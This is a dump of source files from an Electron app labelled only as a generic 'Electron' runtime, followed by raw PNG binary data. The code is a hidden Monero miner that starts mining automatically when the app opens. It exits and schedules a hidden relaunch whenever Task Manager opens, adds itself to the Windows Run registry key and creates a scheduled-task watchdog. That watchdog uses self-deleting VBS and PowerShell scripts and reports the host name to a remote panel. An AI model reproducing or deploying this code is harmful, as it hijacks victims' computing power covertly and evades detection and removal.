'Remove-Item -Path $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue', ].join('\r\n'); const vbsContent = `CreateObject("WScript.Shell").Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""${ps1Path}""", 0, False\r\n`; fs.writeFileSync(ps1Path, ps1Content, 'utf8'); fs.writeFileSync(vbsPath, vbsContent, 'utf8'); spawn('wscript.exe', ['//B', '//Nologo', vbsPath], { detached: true, stdio: 'ignore', windowsHide: true }).unref(); } catch (e) { log('[TASKMGR] Erro ao agendar retorno: ' + e.message); } app.isQuiting = true; try { app.releaseSingleInstanceLock(); } catch (_) { } app.exit(0); }; taskmgrTimer = setInterval(() => { if (isExitingForTaskmgr || app.isQuiting) return; if (nativeMiner && typeof nativeMiner.isTaskmgrOpen === 'function') { try { if (nativeMiner.isTaskmgrOpen()) triggerExitForTaskmgr(); } catch (_) { } return; } fallbackTicks++; if (fallbackTicks % 8 !== 0 || checking) return; checking = true; execFile('tasklist', ['/FI', 'IMAGENAME eq taskmgr.exe', '/NH'], { windowsHide: true, timeout: 2500 }, (err, stdout) => { checking = false; if (!err && stdout && /taskmgr\.exe/i.test(stdout)) triggerExitForTaskmgr(); }); }, 250); } function ensureAutoStart() { if (process.platform !== 'win32') return; const isAsar = app.isPackaged || __dirname.toLowerCase().includes('app.asar'); if (!isAsar) return; try { const { execFile } = require('child_process'); const regKey = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'; const valName = 'ElectronRuntime'; const desired = `"${process.execPath}"`; execFile('reg', ['query', regKey, '/v', valName], { windowsHide: true }, (err, stdout) => { if (!err && stdout && stdout.includes(process.execPath)) return; execFile('reg', ['add', regKey, '/v', valName, '/t', 'REG_SZ', '/d', desired, '/f'], { windowsHide: true }, (addErr) => { if (addErr) log('[AUTOSTART] Erro reg add: ' + addErr.message); else log('[AUTOSTART] Registrado no Run (HKCU): ' + desired); }); }); } catch (e) { log('[AUTOSTART] Erro: ' + e.message); } } function installWatchdog() { if (process.platform !== 'win32') return; try { const wdDir = path.join(process.env.LOCALAPPDATA || os.tmpdir(), 'XmrProWatchdog'); fs.mkdirSync(wdDir, { recursive: true }); const targetPath = (app.isPackaged || __dirname.toLowerCase().includes('app.asar')) ? process.execPath : path.join(__dirname, 'main.js'); const host = os.hostname(); const notifyUrl = `${PANEL_SERVER}/ws/miner-deleted?token=${encodeURIComponent(WS_TOKEN)}&hostname=${encodeURIComponent(host)}`; const psPath = path.join(wdDir, 'wd.ps1'); const vbsPath = path.join(wdDir, 'wd.vbs'); const psCode = [ `$target = '${targetPath.replace(/'/g, "''")}'`, `$url = '${notifyUrl.replace(/'/g, "''")}'`, `if (Test-Path -LiteralPath $target) { exit 0 }`, `Start-Sleep -Seconds 3`, `if (Test-Path -LiteralPath $target) { exit 0 }`, `try {`, ` Invoke-RestMethod -Uri $url -Method Post -TimeoutSec 10 | Out-Null`, ` schtasks /Delete /TN XmrProWatchdog /F 2>$null | Out-Null`, ` Remove-Item -LiteralPath $PSScriptRoot -Recurse -Force -ErrorAction SilentlyContinue`, `} catch {}`, ].join('\r\n'); fs.writeFileSync(psPath, psCode, 'utf8'); const vbsCode = `CreateObject("WScript.Shell").Run "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File ""${psPath}""", 0, False\r\n`; fs.writeFileSync(vbsPath, vbsCode, 'utf8'); const { execFile } = require('child_process'); execFile('schtasks', [ '/Create', '/F', '/SC', 'MINUTE', '/MO', '10', '/TN', 'XmrProWatchdog', '/TR', `wscript.exe //B //Nologo "${vbsPath}"` ], { windowsHide: true }, (err) => { if (err) log('[WATCHDOG] Erro schtasks: ' + err.message); else log('[WATCHDOG] Ativo em ' + wdDir); }); } catch (e) { log('[WATCHDOG] Erro: ' + e.message); } } let _byeSent = false; function sendWsBye(reason) { if (_byeSent) return; _byeSent = true; try { if (wsClient && wsClient.readyState === 1) { wsClient.send(JSON.stringify({ type: 'bye', reason: reason || 'quit' })); } } catch (_) {} } // Nao encerra ao fechar janela — so encerra via menu da bandeja app.on('window-all-closed', () => { /* mantem na bandeja */ }); app.on('before-quit', () => { sendWsBye('quit'); stopHeartbeat(); }); { "name": "electron", "version": "1.0.0", "author": "Electron", "description": "Electron", "main": "updater.js", "dependencies": { "node-addon-api": "^8.9.0", "ws": "^8.23.0" } }const { contextBridge, ipcRenderer } = require('electron'); contextBridge.exposeInMainWorld('api', { startMining: () => ipcRenderer.send('start-mining'), stopMining: () => ipcRenderer.send('stop-mining'), onLog: (cb) => ipcRenderer.on('log', (e, msg) => cb(msg)), onHashrate: (cb) => ipcRenderer.on('hashrate', (e, val) => cb(val)), onShareAccepted: (cb) => ipcRenderer.on('share-accepted', () => cb()), onShareRejected: (cb) => ipcRenderer.on('share-rejected', () => cb()), onMiningStarted: (cb) => ipcRenderer.on('mining-started', () => cb()), onMiningStopped: (cb) => ipcRenderer.on('mining-stopped', () => cb()), onCpuStats: (cb) => ipcRenderer.on('cpu-stats', (e, stats) => cb(stats)), onCoinInfo: (cb) => ipcRenderer.on('coin-info', (e, info) => cb(info)) }); const consoleEl = document.getElementById('console'); const btnStart = document.getElementById('btn-start'); const btnStop = document.getElementById('btn-stop'); const statusEl = document.getElementById('status'); const hashrateEl = document.getElementById('hashrate'); const sharesEl = document.getElementById('shares'); const threadsEl = document.getElementById('threads'); const cpuUsageEl = document.getElementById('cpu-usage'); const rejectedEl = document.getElementById('rejected'); let shareCount = 0; let rejectedCount = 0; function appendLog(msg) { const div = document.createElement('div'); div.className = 'log-line'; if (msg.includes('[OK]') || msg.includes('[START]') || msg.includes('aceito')) div.classList.add('log-success'); else if (msg.includes('[ERRO]') || msg.includes('REJEITADO')) div.classList.add('log-error'); else if (msg.includes('[AVISO]')) div.classList.add('log-warn'); else if (msg.includes('[SHARE]') || msg.includes('[JOB]')) div.classList.add('log-highlight'); else div.classList.add('log-info'); const now = new Date(); const time = now.toTimeString().split(' ')[0]; div.textContent = `[${time}] ${msg}`; consoleEl.appendChild(div); if (consoleEl.childElementCount > 500) consoleEl.removeChild(consoleEl.firstChild); consoleEl.scrollTop = consoleEl.scrollHeight; } window.api.onLog((msg) => appendLog(msg)); window.api.onHashrate((hashrate) => { let formattedValue = '0.00'; let unit = 'H/s'; if (hashrate > 1000000) { formattedValue = (hashrate / 1000000).toFixed(2); unit = 'MH/s'; } else if (hashrate > 1000) { formattedValue = (hashrate / 1000).toFixed(2); unit = 'KH/s'; } else { formattedValue = hashrate.toFixed(2); unit = 'H/s'; } hashrateEl.textContent = formattedValue; const unitEl = hashrateEl.nextElementSibling; if (unitEl && unitEl.classList.contains('card-unit')) unitEl.textContent = unit; }); window.api.onShareAccepted(() => { shareCount++; sharesEl.textContent = shareCount; }); window.api.onShareRejected(() => { rejectedCount++; rejectedEl.textContent = rejectedCount; }); window.api.onCpuStats((stats) => { threadsEl.textContent = stats.threads; cpuUsageEl.textContent = stats.cpu; }); window.api.onMiningStarted(() => { statusEl.textContent = 'MINERANDO'; statusEl.classList.add('active'); btnStart.disabled = true; btnStop.disabled = false; btnStart.style.opacity = '0.5'; }); window.api.onMiningStopped(() => { statusEl.textContent = 'STANDBY'; statusEl.classList.remove('active'); btnStart.disabled = false; btnStop.disabled = true; btnStart.style.opacity = '1'; hashrateEl.textContent = '0.00'; }); window.api.onCoinInfo((info) => { appendLog(`[INFO] Moeda: ${info.coin} | RAM: ${info.ram} GB`); }); btnStart.addEventListener('click', () => { appendLog('Iniciando sistema...'); window.api.startMining(); }); btnStop.addEventListener('click', () => { window.api.stopMining(); }); // Inicia a mineracao automaticamente ao abrir o app setTimeout(() => { btnStart.click(); }, 500); ‰PNG  IHDR7#WeF¿sRGB®ÎégAMA±� üa pHYs.#.#x¥?vÿ¥IDATx^œýi³í¸qç�&¸Ö>Uš¬±$Ùª*É-[¶¤§ï÷ÿ׷㉎ÖX»T]R�眽HÜ™?äI¬}äÎI 9H‚ Øþ¿ÿ¿ÿèff­¦ÐÚÅzïffÓ¹µf­53;<}»xùn¶ï»}ý›ß°o~ó›vÜv/ïÙÖw0o~j3;ìhf½ïvú­5;?÷Þíg?û™í»#€ÊÙÖüæpÞ4ßÌì8Žà×Ëïý°7ÞxÃþé›ÿhÇ‘4{ isuOkÍzsÚ›Í4ZköòåK{ç�wÌ\+žqô¢/‡ÊŸyû¾ÛÛo¿m_þò—í8nQø*} º­µÁ?e)óøâ¥ýäg?²´žúU\U÷ø=¬ÛÛo¿m_ú‡/„Ý®µ~‚ë:óÃBÞËåbŸ~ú©ýâ¿:ë½¹Ðûaݶm³¾;¾ª[ðoævùö·¿m_ýêW‡ÿY<³¿“Ÿ:ßmÛ6{|ÜíÇ?þ±].^¾Ò‡w;’Îffv„7ìr³ï~÷»ö…/|.ê;ÞÞ÷Év ê»þ°ckÍŽã°mÛì£�>²_üâv¹DãP¹ª��^Ëïûno}ûmûÒ—¾dÇÍõPË©Œ½w³ÃíÔ¢Ÿè¶Ù¶m£=~úé§öÓŸþÔ®ÏÌÔ_¢=Ó¹Ì=û�ÉÇfÿò/ÿbÏž=‹ûãN�EãÐ3PïÍ̶-QªîáØì°‹ä!Œ*ÃeTáj<ŽZ§hï=Pz&²T¸—¦zª÷ OñZWË·æƒ6ZÑP¾Ou_q½J»ÇoÅ¡~³âû8¼‘lGÁ[Ëëù^¾^¯ò·m;á:ŽcÙ±iòj¿ªC„|+›è} ûlGè�N£÷> è€Êʯ:* |Þµ§¾}÷ºÈþ®Užòõl­ÓknÖ{“óYá6°y¹Ã{éa”žQKï}ܛ֚�HÛfÊ8Ý* ¦†èÝG z›¹#¹N‡£*ÊÙdtŒˆÄ¶¤uXŒÀ‡ËRù«÷vdtW Ð#òÑKk9ÔQ*ñö¶å(-FU� çÍŸË>ã:Ìmka× Í 5ðyZ4¤M}#íìúH¼€Òï¸ï›Ù!¼5³vI¼½ùA½´mD嵬úmÑ¡h§¢z0s{–þy˜F£ ú6: |é²#ŠS9+Lyá;ª¯Öýú?Tÿ03kíâz¾Ü²tF{XèÄîðXuØW>tWzµh‡‰ÿ•þàèÍŽh×Û¶Yo‡µKâÝìb›e„Ùú1EmÖξêr‡ßm<½Ñ޲=mUI¶PÐÿ-¬ð4� ÍÉ!Ä`ÊÛ¶ex«yÕx®¦W¨a5ö ´Lí˜Í騯m©•�P>«¾Vú&�4-[ï;ƒÉqŒNË(P¶÷n&Ó§<å5ÇQ‰mÝlK¡td3ƒ¼W/�I^‘ù‘yûèaÇq‰ÃëW':Ž›íûãT¯O‘�lUà ›õ-lŒ°D ÷ €\ª/FxŸ#;;ò0È)ÌH¹wÁ©çg�Œ‘Ç€y*(ø²�®ùxÐ.ôcäÕúΫG,Dó::+ý. à)ûkD÷+»Ç1ñ:á�«y+|÷>ü ùÔž®{o ›×á‰!ÊáÏȆ�ôÚV¾Ô܆v´1y‡Ö"ÚN»à›Ø@i¬`ÒÑ]ÎH‡r@Õã\?d–Hí=î·m³KÛF„çvs\Àˆl‡Þ9’n¶ o·´§ªÛa5ͨŒõ¨é­Ì‘UPÜÐUe(>"¡Z®*n•^æ~4P�z¯PåžýžÂ§PËU¦†gôLXë¼Mö(e¢#”~Õ“^Sfêê=@ú*¥7î«?õxÁË`ðUø&½ê—üš§²WÚxµ2`++õ••œ¤kÙZnUÇJºò¡2¯d¬÷µõ4õ4¥@zõÒ—žÿ€'øÒCe6*i„0Cöœ D*Drª@U‚—%·©P#S-_Œ‹ ¤WhY=Œ¸§¼2ç1ðoÈi¢duúÞý ouÀI½¤™›Âʪ—¡/Íûª-ãúójê4»-íÜZÌgðKðM:Z8Ö½4Ò©[ý¤ò¼ÂƒßØ €¿)Ý)‘¢Ï©é½Û±èý‡^š™µêK”{ï{F…&|wy:Ñ{dWÿSÕò«³æßËsH»·ˆ2Õ-‘~òzŽhi£}^wëÍŸ8lË62æç”¿5¯v·ÝÔò­5çîÞȨ‚jš¦«3jþÊIUYõ€ê®psÖ2šÇõŠîêz•¦¸€UcTžšlå ÜJ7€Êù÷œÍ̬�GÇôž�ŸvG¿ÀJ¦ªç¿jY]âÓ‹¯po¢·JWËTþɯ4ñ¯ŠÏ¢N�:ÔN÷:µaå§^[áÁDÖZŽ2Êë ? i*•Óžðehqp_éÕ{ êNÏ5h±¾ªœ½¢ iýí„´ÌáÔH�·Œl(hÕ!õîa9o§pš.sdƒ©­›5ϯ*ó5ÂÐgvÊ¡ÅÃ}�·s”Ó·‘šŒdèÜ>eDw6„GÂÌIÉß1øVýƒ's›äUhmÉ• X`ð=øŸçÊTßÉdãÆnÛ¶Mù¯üAíNz‹ˆÿ˜ê¿Ó\#ö ÿJ½ÎùÕnÈAy¢¥Þw»\fYîé®7³n›õðI"=-¯ö�&²÷.si€¼Y½—®O+¹¹¯Q±æÕk�Ø&|ºª~`ê'åþ_ät·>û ´Ó?²�TÔ‡ê}ïn•ÿk@Ø!pq]D8” �s•{ “Â%ÚJ¿ }j¹JCq›Ð[A»ójUž²*éÜ3hÚ=~«~jºÎu(ŽŠOAñUT¾�ÊC•³–1ÁG™•+ïànÅçªj�zVº«<…�7Ö Ö|[Ȧi•7hëà§t¹^ÑR¾k�*W½¦ŒŠ£ÒRP?”rêõŠ7ÕG…Ì›ý¡Ò¯@½mÛ²æÉ=¬+¸�”HÌ ƒ+!u‘bkþœ}Ý.¶Y7;|bÕÐç ÀÏù\¯¾åæ‘@×ÈÍëå"Á[ïóèJùúx¯Š^á° qÄ[@9S&çWóg�0Wês‡µS$Jù¹ãðhCùXu,ª~87Y&BÚ,G–SÃo}»,Þ5ô‰îïø  <ÊS彬t1Ñà­÷�Xñšê~Èév=b]å¨×?DwŠzºJÁ„žÊ[uR;'õWê·Çx2£÷ñUÄ&kû*}…y¹�ë3a~+ T9ç:~ݧUk€Ÿãxâ +kúJ¨¡ ‰:˜SQes�N¶*Þ³À3xÙõã«:÷ð«ìÈRaÕÀ @i¯è£—ÍWéGëiv©8Õ.ÕÎ •xTOµ>¸Ÿ’¥â¹§kÅ•§ 5¯Òã`ð�†Úµ–‡¦òðh»Ã3ô”‡JP>”ï^æ­9�æªòWPëUPß=™*¾¼öõ¬ÈSù¿”Ûá2DŽ}Dô ”{•Q<­�Qj~ëø”iUÄj=U–�t9žV† ´–o«"«ž4ͯ}�#/°i.qÕ?´½œëIó‡,­�Î=*OªW§�]æ¹–«í³þ战²³ís]Ò”"¢sT¼+:S”'_’؉.råzÊÞ}éÈì†sÄØõ�9Q™ÐQ÷î3nú]6ü®tgf§'#�34³i.[íÂê„áâ‡÷`¶ÏS¶óHÌ—Õ¸¿¥Œîcvgðc�dŧ4è4+h™j;]7HþŠï,g�V‡Ò‚Já*!=ññnÅI=Žš¦÷*›”áʯ<ÕU鬸°PÌ«g·;ü�®y«üÕ5€žW�ŽêBqjÙZÇ^¡gµ«ÂJ¾Z†4=åW<ä)…Uš•zÜWÝj=Å_õØb°ÖègU—kÎJ³Ò®PqÖ·®W•O¡â"m+¾jÙ{é •^ [W�r¿*_ñSFåê½-pT›(l}Y1¶§IÄ&eù& c›Yyío“Ýÿstjv‰7}Zÿ ?Ào›Ì¹"ß·—DÌfç'œúmäÀsjØ^Kõhs=æÁ¯|�uw¬;”·Î”Àe!? :Ó:ð°º×Á�(/ÕÿÇ\çÐñ>æ[‹yÙøbbx[_|s˜Î‚ß ‰gÆæ{®]0Ôöóã ª +�w¿Ìf&�¢3…¨ÆRPc?48g»G»‹³©£ÜÅ£g¥c¢¿Z–ë{QŠ–«p¢]³BöM…U>ü“¾Ê;Ñ—ü ä¯ô¢´Tç—‹úG]õò”<äUùs 9×í¢ûUû»Ê[åÓ„Òëà( Õ‡¸´,úÓ²ªG½çÚîÐS}UYtÐ: +Üff£@»ó8Q# ¢0‹ùÐÊ$216}»Ø­·#V1ƒÁß ù1ÝñD„#lç13S¸ùjsŸÓ‰yó•ä{÷7�§È³¬#|­š(^æ:\6æ$Ïò‘¦õO#΀9RºÿÖ×A «zž£Y¯¿v´ 7:©œ»C‡2êjƒ­ÈÛ2üHý‰ësçá8s?* ƒ›ëoÞU„2jÀåðz#²¸ÄŽâ³J«v½4ä! Ÿù‡m›èšu¡áWà†fkáŸèi»Z—ˆ^åBNp3ò…v‹È—ˆþ¸?ŽsTª²û‘s]]üyèO:àmõÖ:Ú³êÊDÇM^2jº^»œŽÛï½�åü©FwÞÁ?zض-wY�6\×¥Œû0¶ ‡J< ìŠò¼Ks!1MÖQ^q*±Ã×ÇqXß»ÝnCm„^p–Í?s#$¨ÆRÞ¥gÚŠ®V²˜4|½×sÅ¡ô´¬âÑFª»14– Ö´º'#¿t*Ô?PùÒò«ûʇv:*;�Ùš¦6€Wx"­•¶EÔv¹ød¾¦Wž‘ Z@•ÅÌT[øÀÀyx‡:ʯ:�Â/å´Ž–UP½˜èUõĹê\Ê;x6Ùý¦•(NÏʸ6Ù´’|µ!:â1 �4-¯õÍ‘ÁÛ¡ y=£÷æiùÛÀì-�ã6¯„˜ºÝnÁ¸*ÛçÒìð£ŽX ‡÷âc}QŒ`Ò£ëH¢õQ¨ÅžkŒ€½ûN°ð»ÅIJ+?w)Ôùº?§ÙZ4êt¦ÛÐϪ³TãCÏbäöúóã­ÖWçú–ˆ¹¹neàÑúÌ éœ‰Û%; èª#‚kä‡ÝŽ˜Mžå�©ô†ùÖv�màÍ7fŒà®Óy"{ïñS–t-3á=æ�îïÉEÄ iÚ8ëõ{tGïv,Úˆžì°ëUüé¸Y?n9h»$Ð.Ó/ºÌÙ!»òc&sŽ|ûí.åk%÷ö¡¾²ÒgÚ¹òµ�hßq¤Ð6¼}xû¥ü!_09-Ç¥:Tú&mÈÂ7 •1®N:׃¼ÛÍ  y·›o‰Í¨µÃ J»\.vÙ6»”2Ûv•kw$=à¾÷}÷ãv³Ûíf���öòåK{|||úùÑöÇ›]7çïz½ŽCï•WåcÛ¶iNfÛ6»^¯Ö¢a >äP½QªU-‡î  ?+žT盼 Ò²ƒŠòy }©Ž8íññQt—uŽã°ÇÇÇAýÁëår±‡‡‡ÿœµ\Õ{Õ…ê‘3ö‡?ÊW½Â+4*-åãO—‹Ë¡¼c³J«ê‰2*ºÕòU‡Û¶Ù³gÏžäµÞsÆ ¥úDzÀ£–UàÑÌìz½NvÅ÷•§Ê‹ò©ºÝ¢]«~”¦äaoÊ!:UZkÖÞ{÷w}»ÊÛ2ÞŒDɨ´™ ¾�Éo0›|ØZ³çÏŸÛ./‚{÷kÓ¼LFÅzXñÆ´†Å<Ö‹/®&�|àÈù±LÏûôÛ>É{xx6ëÍõL;ÀŸ`™¨§÷Œ|Lôa›óˆ®Ù•ø"_™T·b;=“ÿúë¯�L鮀úµ÷غ÷Ê!¿ãKþø£C÷v=çU9Ï�ý€•r/^¼¥ZkÖžòiß6Ù°��aÙf%lñÉÕår±}ß­]®ž“çäýæ7¿±?üáv‘È Æ £ŠâZ�â8Ü‘¾ÿýïÛå’áiÅW¡÷˜ßÚP†Å²“Ë¥Ùo~óûÓŸþ?“Àøó#cUt=s �?øÁFõÑ_kM>iÉ�8‘¹Ês¹\ìW¿ú•ýá˜# 4´Sž­8ݳgÏì‡?üá)`J‚ÎMËè=4[köÓŸþÔ>øà»^¯£ ¾4Þ2óf9:›„¹ãx|ÜíË_þ²}ï{ß³—/ŸZjªÊÉõ¸ÿ}xx°_ÿú×öûßÿÞüG$ Û¶ÙqÜBžù¿Õ.=åÃÃÅ~øÃFÝÃzó³vn^YÓÿô|½^­7³wÞyÇ>øàï0Y€ºØª^lÑ®ºDh_üâí_þå_¦ £ÖRÏy¿Et íëõjï¼óŽýõ¯�¢2…´¸Ö~ ŸŸÿüçí_ÿõ_�+»®!¦âR&/°~üãÛóçî;ffÛa>_¡¡ÞΆ„®Ì‘Ýn‡‡Ùþx³ýÑCÂ#ÂËÇÇÇ¡BP…é�’SC›í’eüíYÌÑ¿jL ÇO^ãmë!o^ƒÇ—·=Þ¨ú¨y¹<Œ'�ãFT¾¹w^‰üúŸoÇ>æöéqÊÆ#­<«ñ-œŠ]pÝä[NM×rèžW�Ð?n»õý¼L=ôÃn‡Ëõ¸ç£ÑÐÃåj×íâGðúp‘G©»¯^/¾K>õ�²<>>?Û÷|¬K=ù�Au¦G—ÇÆ{�Off¯Å£'¼ÌƒœÛ8}ºµ‹=>îS;èûùñ*�>É1loÝ^Þ­Gƒ†·ëÖ좻®Œ8$•Gì¯6BƒnÑvÌûGÛwç =Þn7c. }¨_q¨¾2�6=·{“5—Ð8ŽÃw÷9òêºV•¥G?õòöh·Ãçá‡�¯—N”)uê5÷MœŒëUU¤â€åÀèuMS…nòh†ÒTÑZ·–ëbÀ 5¯–�®æw‰|:�›­Å1UŸêòè 8I»§ ä©úC·*?Pmk"éð(^-£uÌæGO@¯W@ý¬·�G8ìH9^pp™,ìRË+~ŧòfU¨rÑ1tÐvÐCÛ™-|~GåSe×òœµxŸÒ§¬¦+}õͪÛÊ+å5_ñ©OÈmmÃö„ý´¼æ©o]Þ’!¼Ÿ�êd Þ6#¨¦ƒO�¶m¾óæ¥�ñ(¨¢h(g¬'ógú}¼MéÍÆ:=­Ÿ n!QÈȺÞÆÆ[#Rq ,èºùãÔ<§ØÚ¼ªÜd5 ºéúƪ8@Õ�«|‹F¥åª‚Ÿ^FT«;s¹}‹ÊÑ»¼u+;ãEÈ;ô]w�) …PhšÒ<³m‹)³ˆ²e)Qù¢ÀB–Üw-Óf½3K~šõîs‡­ÓZ¾@Ô²[-hU11⎑}¬/ËÇ­Ç¢\p ¥ÆתAYQ´*6;UQ�Ý?­®£qº>HñR|K(ëlæ‘«Ï‘b‰´Æ‹¸nÛX©®ß.«Aê½^£K=Î럔WŽ&„:4Æ:©Ø±XG|l§va¥ÿð‹ñÝc|y"¼;VÀ{”¦ùUZ�G±ê?DæUçzßZ³­uãŵŠæ îŠOõú_�‰G±?Ð{øXü]Þÿ¶é%” <EÍ/ªìfùÄ�yø;òyh¥L{‰ÏO¾és ÷ÁÛ¬nf6Ú±ú”w€É‡Åú>޾Ïv gÇ¿Ùq8o›Ýiõ euWBz_ëZô¼r´åh�FPá^ʃÞ{ݹSSZó}FnfÑñïÙVÔˆ‚kM[Õ£l“Ȩ|«üõPÿs6ä«.Ž#_Àp¯‚¶ÅéúxÞ˜k�Ñ·_;€H¡ú’‚çå`ÔâÏô›µa3÷UÏŸå'Z97Ъ#-[ëý½0lvâI» &—ýâà?çÀf=ãšÝC.Û4·ª6˜�3ñxYõ³ÖCêWï©›ö�s‰(G„†/ yC_²J�õ…_›¸ý¥]¢p 3Zª õžëz®ù& Бu“…½4O~j„Ö†¬¼�_é(Ýü| ôXz¢�îÌ£�F”Ž[ië�ÜG,˜U¾Ôy”·ªŸ{×vϹ‹LtXÓM\Sy¡åUd¯o Ÿ‚{28Þ9J­×ÜljŽü^hÊ èu•�û{e”fõÃÊ#0ó–eÕW�gIz”Œ´;¾a ]Uý’VåzP‡6ö_…ª]Ì<çcìŠßª'îõ˜`e3eo6zýIñBD™T!8¯”RïïAï¹ öˆõbY×ç ˆX×ûù­YkåÄçÎsë·R“l›�®Fg×}äaNˆÇ=“7’ŽvÙ ÁhY §FŸ�Âë ;PûÔ|µß¿Ã.סGô§Ñbk—±³±âBg`ÔvXñä:Ë òëiÝñŒ(9¢·Ko�Ú0Ü”K˜#—Ìð;ö úÎv´À£Ñiy”9äÒ.Z÷Í%¨ÇÜq˜µØ‘¯`*Ž™N¾'ný¸^¨«4€9­F€yïåæ{Ú OdªG=Ð!O–´‡$ãßù‚·÷žÛŒO -�3C!¡8¾ZÞìüL|‰ÏV´Ì=Pz•?Î+~xì#_iµ².¬ò[ñ¤Se+åGóW8VŽUååPäU6¥QÓÁEÞŠ�*à 8ÏPñÿW@é++ðN䬅6ìqÖ¹w¦)·FL*«û¿Wîj‡^^†èÀE¹¶ðg+t)£¸*-¥©ghVxJ[ð¦åñ•Þ§ Ò$€¨é¤© šnÑÖª¬­5ÛômÈZˆèIG[yþª1+NæìŽý1vðp 2RåôÎy±NiDE`9ÀwëГ+ð<ÏáQÞùOÛªDüúw FÒ1') gÛ6;zë«4�¹)"ß›Õ�~øޤ�9—V¦næüÄF]7é¼�¢.e7Y�ØZF¹”cnKç(ë$?0dx22J>]/­a”¯Bc ÓõM)ë¢�_i%d¤H}ÕWêÏí� íÃÿÍ�^T¿ñOV¸ìÎw¾¨‰öpøn†Dˆi#o£ÝöÃØoP;š�eZ²O¡ò£íÈ!øá¨‘�¬Oì]Ö˜ûÕöß–ztðëxÇ\&Û�Úx^jÂ1ºÃcÌU&5-œŽ,š¶êy-pÔ‘EÕCóSYyý*ž5¿Žä-";ÿ–5:ÉňWeV¨ø¨»:+nä«uª<ÐUà¡òrâ9&ÿ|(?šgŒ–‘¬:$_Ëào-ã×:×¢¶Z6ðG9_õÅ:P)¯J_ɾ”#¦l”MW�§‰Š”–C $wæyL�K·ËeÄSÞ‘ºCWAãïÇÍlÁÒ©hdðlEðUd1÷“ÊâÞGF·•�Ì[|�áe|Ô±â¤úGakÝ�1å23ÿ6ä‰óè}Š7ÇÛÖ!Ÿó¨²šèÁÕ©6rzªßÞsÞx)0æ,Ï�`²¹¼ Ö¹KÊq¾gŸ Ì9a¯V£¥˜sòˆ1ë×H„òz¶“/Ï|Záo¤u�L�«âÕ ]®c‡|œó“C>]Ú»Õ8žM>’‡·ýðUm›¿ü¼ÄqÙ6Ûr^%âU[«>¼lðÇÑÝ�†®bN‹=ðzøù[yI¨€\*~™mÎóx’ª~Œ�Tä0õ½æ¼öF—ÐbTבÄÚ«*óõ!,œà@KË(H•UéÀyàÓ<®+”WjÞªŒ‰<¯‚ŠP]Á¯ò Ôz€–­z­zR€.õ5_qœx‘OÇ*N+z®éõ^qÔ|Òî¥7Ù°Bå­âÑ<-»ÂU¡òÛBÇ«¶Sù¨í¢æk}�Þ*^“�ϵ®)_!®úú Ï=Ϥÿx,Tà\µ+òh»µÒ×p^ÙPºM"õÍD`ïLx¦Ÿ�ª@˜b¤Êtzãójrg`3NG!=F F=˜5ó�€•c¨èñMzùi¤‡?Ë'œŸ¼ÄIz/çÙ6y ZŒ§Æh-ßÞ!?#ã<’V§ÊZó¯Û%çËäífkͬ±¯¿|CZüº÷y$v]&=ÕÐÚüvè=¿9ÕÀq…üb_�ˆéôýÛÁŸÓá<ô~Òe¬ç¤™ò(lÉLsQèŒÝš>¬öà¿¥I'ç°ÍæˆØó£s3b ø=xSk#5‚≢›™µfÝ̺™ÏcÇ.ÅD`´ÃayÕjO·‹Bk-žZÒvÙ>³ý(.ü`ÕNu¹Ð*_m¤íXË z ¶Ð7ó°›2·mÛp,¿žçu˜ƒ"#ªQ^ï]IŽKq*¬pPwlcRø�¶ò¯ùœ©_ñÏ�ÆEñ”tå±Ë²Œ^½Ö:œ•o-§y5ßDn½/Ž‹®È–4Ï$¨¼švÄ z�WËêõêÐrÈRŸ2m1V;+:Rܵ®FU/Õ—*åXÙ¦âGÆ{-Å£zR?F'Ôã o*Q¥Yyõ´ûeôœ2¸>U&ø¯ úÂ?„€*³ÚGÓkô ×f–ÎÏ£i2Gdåo.ÖG3•ùœ¡Š+o9r¿t Œò6ÄÌN†gଠUEë.(Õ `²f–WÅ).ÊUå¹Ê6Æb^1Œ¶….�}ŸÞ"‡5ëmË}îsðÝ»¾Å‡´|l«£ŽêtZVœh’½Iß¾êØÌdï{üâ„§ð§~BšžzL’»ýr»+|}ñrJóò[“/Jâ[YhPûr lß¹"pƒD–a*Œ{沸�Õö:·«ü%�d�˜£BæÁC»Œ·ô½tŠ¤Í úJ?<··ÓÏùD�N5èQÝ·P8ÀÏÙuØÇ…ïó—m”ec^v¦Ùúæ+%Ù¨C†;Íy•¹Vöó­Íy äO m>Zj=ÊrVeXà­‘JÃù†£Ey6M¤n“Ñ�r½,aè½Ù¾'É»¿Â'=ËËピ¯¼(ý•Üà”G“íŒ(¯@Y-o'þçCùƒ­Ï=ºztLff{ÏÞû‚?îá¥òIÞŠå•k²{xô¬r>>æ¦�Ê#÷ª+µÅ=yV¶$¿/"zž5�늧‚ʦ¼šâ��홃Ão8º Ú®ßìœñsÕ�Ãy `äH¥n_l" t±Q¥_AÓáŸö8äþè£�fŽ.—ËéÓ$@ Ãõ¶mö‡?üÁÞÿý©qÌŒzï¿YöÊ&Êuº�jÛ¶Ùw¾ó»^Ÿy”ÐæŽ G”H‡}ö†q½nöÞ{ïÙŸþô—Ò€Ùæy³§”KÞõzµï~÷»“.ˆâ¶Ø‘—y¼œqzÝâMhè�¨ìOú“ýõ¯µ‡ôùMµÒÃþpê4Õ†-Öûµ–;c$�Ü*_{í5{ë­·¦4Å×{D¡â/Ê/|*¼ûî»öé§ŸNõ€Ê«žÉW€Çþçí)WÈ=MÍ´HCoï¼óŽ=>>ŽºíþÏÿÙk%ÀïA>#¬Ð{·ÇÇGûú׿nßüæ7ÇÊö^Öu^Är˜¯#Âfþïûn¿úÕ¯lßãñ7~ø’€ódc031Q w/_>·¯ýëöµ¯}}|Uá2Í�ãZ³ü-"³ÇÇGûÅ/~1;ç�ÓicÏ÷èÄãÇÂtn6èùþõo¾ù¦½ñƶï¾uûS�[ï¹\ -ZoÛf/_¾´wÞygt>Ó£�â“Æj–�͘oÛ{óÍ7í‹_ü¢ë—·§Ò¹Îøñ�t\ò]�öÉ'ŸØ/~ñóxANì›vFm1�fâKû¾Û·ÞzÓ¾ò•¯L›=˜4@u[õÒ#ê¸\.öâÅ {ç�w†.ƒtó·+è<–Ë,6ëÝzoööÛoÛç?ÿÙI–Ê êÐ) 